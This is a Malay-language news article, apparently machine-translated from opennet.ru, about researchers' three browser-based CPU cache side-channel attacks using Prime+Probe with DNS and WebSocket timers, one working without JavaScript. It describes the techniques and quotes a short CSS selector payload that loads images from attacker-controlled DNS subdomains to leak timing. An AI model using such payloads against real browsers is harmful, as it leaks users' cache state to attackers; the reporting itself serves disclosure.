Serangan pengekstrakan cache CPU dilaksanakan dalam pelayar web tanpa JavaScript

Satu pasukan penyelidik dari beberapa universiti Amerika, Israel dan Australia telah membangunkan tiga serangan yang dijalankan pada pelayar web untuk mengekstrak maklumat tentang kandungan cache pemproses. Satu kaedah berfungsi dalam penyemak imbas tanpa JavaScript, dan dua lagi memintas kaedah perlindungan sedia ada terhadap serangan saluran sisi, termasuk yang digunakan dalam pelayar Tor dan DeterFox. Kod untuk menunjukkan serangan, serta komponen pelayan yang diperlukan untuk serangan, diterbitkan di GitHub.

Untuk menganalisis kandungan cache, semua serangan menggunakan kaedah Prime+Probe, yang melibatkan pengisian cache dengan set nilai standard dan mengesan perubahan dengan mengukur masa akses kepada mereka semasa mengisi semula. Untuk memintas mekanisme keselamatan yang terdapat dalam penyemak imbas yang mengganggu pengukuran masa yang tepat, dalam dua pilihan, rayuan dibuat kepada pelayan DNS atau WebSocket yang dikawal oleh penyerang, yang menyimpan log masa permintaan yang diterima. Dalam satu penjelmaan, masa tindak balas DNS tetap digunakan sebagai rujukan masa.

Pengukuran yang dibuat menggunakan pelayan DNS luaran atau WebSocket, menggunakan sistem klasifikasi berdasarkan pembelajaran mesin, adalah mencukupi untuk meramalkan nilai dengan ketepatan sehingga 98% dalam senario paling optimum (purata 80-90%). Kaedah serangan telah diuji pada pelbagai platform perkakasan (Intel, AMD Ryzen, Apple M1, Samsung Exynos) dan telah terbukti universal.

Serangan pengekstrakan cache CPU dilaksanakan dalam pelayar web tanpa JavaScript

Varian pertama serangan DNS Racing menggunakan pelaksanaan klasik kaedah Prime+Probe menggunakan tatasusunan JavaScript. Perbezaannya berpunca daripada penggunaan pemasa berasaskan DNS luaran dan pengendali kesilapan, yang dicetuskan apabila percubaan dibuat untuk memuatkan imej daripada domain yang tidak wujud. Pemasa luaran membenarkan serangan Prime+Probe pada penyemak imbas yang mengehadkan atau melumpuhkan sepenuhnya akses kepada pemasa JavaScript.

Untuk pelayan DNS yang terletak pada rangkaian Ethernet yang sama, ketepatan pemasa dianggarkan kira-kira 2 ms, yang cukup untuk melakukan serangan saluran sisi (sebagai perbandingan, ketepatan pemasa JavaScript standard dalam Pelayar Tor adalah dikurangkan kepada 100 ms). Untuk serangan itu, kawalan ke atas pelayan DNS tidak diperlukan, kerana masa pelaksanaan operasi dipilih supaya masa tindak balas daripada DNS berfungsi sebagai tanda penyiapan pemeriksaan lebih awal (bergantung pada sama ada pengendali onerror telah dicetuskan. lebih awal atau kemudian, kesimpulan dibuat tentang kelajuan operasi semakan dengan cache) .

Kaedah serangan kedua, "String dan Sock", bertujuan untuk memintas teknik keselamatan yang menyekat penggunaan tatasusunan peringkat rendah dalam JavaScript. Daripada tatasusunan, String dan Sock menggunakan operasi pada rentetan yang sangat besar, saiznya dipilih supaya pembolehubah meliputi keseluruhan cache LLC (Cache peringkat terakhir). Seterusnya, menggunakan fungsi indexOf(), subrentetan kecil dicari dalam rentetan, yang pada mulanya tiada dalam rentetan sumber, i.e. operasi carian menghasilkan lelaran pada keseluruhan rentetan. Memandangkan saiz baris sepadan dengan saiz cache LLC, pengimbasan membolehkan anda melakukan operasi semakan cache tanpa memanipulasi tatasusunan. Untuk mengukur kelewatan, bukannya DNS, panggilan dibuat ke pelayan WebSocket yang dikawal oleh penyerang - sebelum dan selepas operasi carian selesai, pertanyaan dihantar dalam baris, berdasarkan mana pelayan mengira kelewatan yang digunakan untuk menganalisis cache kandungan.

Varian ketiga serangan "CSS PP0" dilaksanakan melalui HTML dan CSS, dan boleh berfungsi dalam penyemak imbas dengan JavaScript dilumpuhkan. Kaedah ini serupa dengan "String and Sock", tetapi tidak terikat dengan JavaScript. Semasa serangan, satu set pemilih CSS dijana carian itu dengan topeng. Rentetan besar awal yang mengisi cache ditetapkan dengan mencipta tag div dengan nama kelas yang sangat besar. Di dalamnya terdapat satu set div lain dengan pengecam mereka sendiri. Setiap div bersarang ini mempunyai gaya tersendiri dengan pemilih yang mencari subrentetan. Apabila memaparkan halaman, penyemak imbas mula-mula cuba memproses div dalam, yang menghasilkan operasi carian pada baris yang besar. Carian dilakukan menggunakan topeng yang sengaja hilang dan membawa kepada lelaran pada keseluruhan baris, selepas itu keadaan "tidak" dicetuskan dan percubaan dibuat untuk memuatkan imej latar belakang yang merujuk kepada domain rawak: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(Β«https://qdlvibmr.helldomain.oy.ne.roΒ»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(Β«https://licfsdju.helldomain.oy.ne.roΒ»);} … X X ...

Subdomain disediakan oleh pelayan DNS penyerang, yang boleh mengukur kelewatan dalam menerima permintaan. Pelayan DNS mengeluarkan NXDOMAIN untuk semua permintaan dan menyimpan log masa permintaan yang tepat. Hasil daripada memproses satu set div, pelayan DNS penyerang menerima satu siri permintaan, kelewatan antara yang berkaitan dengan hasil pemeriksaan kandungan cache.

Serangan pengekstrakan cache CPU dilaksanakan dalam pelayar web tanpa JavaScript


Sumber: opennet.ru

Tambah komen